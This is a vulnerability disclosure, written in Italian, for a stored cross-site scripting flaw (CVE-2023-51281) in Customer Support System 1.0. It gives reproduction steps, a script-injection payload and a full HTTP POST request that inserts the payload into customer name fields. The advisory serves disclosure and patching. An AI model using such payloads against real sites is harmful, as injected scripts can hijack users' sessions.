CVE-2023-51281

Customer Support System 1.0 - Vulnerabilità Cross-Site Scripting (XSS) multipla nei parametri “firstname”, "lastname", "middlename", "contact" o “address”

Descrizione: Multiple vulnerabilità di cross-site scripting (XSS) in /customer_support/ajax.php?action=save_customer in Customer Support System 1.0 consentono ad attaccanti autenticati di eseguire script web arbitrari o HTML tramite un payload appositamente costruito iniettato nei parametri “firstname”, "lastname", "middlename", "contact" o “address”.

Versione del prodotto vulnerabile: Customer Support System 1.0
Autore CVE: Geraldo Alcântara
Data: 28/11/2023
Confermato il: 22/12/2023
CVE: CVE-2023-51281
Testato su: Windows

Passaggi per riprodurre:

1. Accedi all'applicazione.
2. Vai su "/customer_support/index.php?page=customer_list" per modificare un cliente esistente o su "/customer_support/index.php?page=new_customer" per creare un nuovo cliente.
3. Nelle pagine di modifica del cliente, inserisci un payload appositamente costruito nei parametri firstname, lastname, middlename, contact o address.
4. Payload: </dt></b><script>alert(document.domain)</script>

Resquest:

POST /customer_support/ajax.php?action=save_customer HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------212391604122778812451614149575
Content-Length: 1149
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/index.php?page=new_customer
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=abige9ar0b1bi3qcf9mkv258o3

-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="id"


-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="firstname"

teste</dt></b><script>alert(document.domain)</script>
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="middlename"


-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="lastname"

xss
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="contact"

210
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="address"

asdasd
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="email"

[email protected]
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="password"

xss
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="cpass"

xss
-----------------------------212391604122778812451614149575--

Scopritore(i)/Crediti:
Geraldo Alcântara